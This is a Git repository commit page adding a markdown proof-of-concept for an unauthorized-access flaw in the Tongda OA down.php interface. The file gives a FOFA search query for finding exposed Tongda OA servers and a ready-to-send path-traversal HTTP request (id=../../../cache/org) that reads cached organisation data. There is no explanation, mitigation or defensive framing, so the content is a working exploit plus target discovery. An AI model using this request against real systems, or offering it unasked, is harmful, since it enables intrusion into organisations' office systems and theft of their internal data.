admin/POC00
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Create 通达OA down.php接口存在未授权访问漏洞.md

Browse Source
This commit is contained in:
wy876 2023-11-29 20:56:02 +08:00 committed by GitHub
parent 678b366ad8
commit c4ecb5b663
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 19 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

19
通达OA down.php接口存在未授权访问漏洞.md Normal file
View File

@ -0,0 +1,19 @@
## 通达OA down.php接口存在未授权访问漏洞
## fofa
```
app="TDXK-通达OA"
```
## poc
```
http://127.0.0.1/inc/package/down.php?id=../../../cache/org
GET /inc/package/down.php?id=../../../cache/org HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive
```